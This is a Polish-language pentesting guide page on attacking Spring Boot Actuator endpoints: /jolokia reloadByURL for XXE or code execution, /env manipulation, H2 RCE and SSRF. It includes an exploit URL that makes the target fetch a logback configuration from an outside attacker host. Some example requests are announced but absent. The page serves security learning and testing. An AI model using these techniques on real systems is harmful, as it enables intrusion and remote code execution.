Spring Actuators
Spring Auth Bypass
Z https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Wykorzystywanie Spring Boot Actuators
Sprawdź oryginalny post z [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Kluczowe punkty:
Actuators Spring Boot rejestrują punkty końcowe takie jak
/health
,/trace
,/beans
,/env
, itp. W wersjach od 1 do 1.4 te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 tylko/health
i/info
są domyślnie nieczułe, ale programiści często wyłączają tę zabezpieczenie.Pewne punkty końcowe Actuatorów mogą ujawniać wrażliwe dane lub umożliwiać szkodliwe działania:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
, i/heapdump
.W Spring Boot 1.x actuatorzy są zarejestrowani pod głównym adresem URL, podczas gdy w wersji 2.x znajdują się pod ścieżką bazową
/actuator/
.
Techniki wykorzystywania:
Wykonywanie zdalnego kodu za pomocą '/jolokia':
Punkt końcowy
/jolokia
actuatora ujawnia bibliotekę Jolokia, która umożliwia dostęp HTTP do MBeans.Akcję
reloadByURL
można wykorzystać do ponownego wczytania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu za pomocą opracowanych konfiguracji XML.Przykładowy URL eksploatacji:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Modyfikacja konfiguracji za pomocą '/env':
Jeśli biblioteki Spring Cloud są obecne, punkt końcowy
/env
umożliwia modyfikację właściwości środowiskowych.Właściwości mogą być manipulowane w celu wykorzystania podatności, takiej jak podatność na deserializację XStream w usłudze Eureka serviceURL.
Przykładowy żądanie POST eksploatacji:
Inne przydatne ustawienia:
Właściwości takie jak
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
, ispring.datasource.tomcat.max-active
mogą być manipulowane w celu różnych eksploatacji, takich jak wstrzykiwanie SQL lub zmiana ciągów połączenia z bazą danych.
Dodatkowe informacje:
Kompletną listę domyślnych aktuatorów można znaleźć tutaj.
Punkt końcowy
/env
w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje taka sama.
Powiązane tematy:
Env + H2 RCE:
Szczegóły dotyczące wykorzystania kombinacji punktu końcowego
/env
i bazy danych H2 można znaleźć tutaj.
SSRF w Spring Boot poprzez nieprawidłowe interpretowanie ścieżki:
Obsługa parametrów macierzowych (
;
) w ścieżkach HTTP przez framework Spring może być wykorzystana do ataku Server-Side Request Forgery (SSRF).Przykładowe żądanie eksploatacji:
Last updated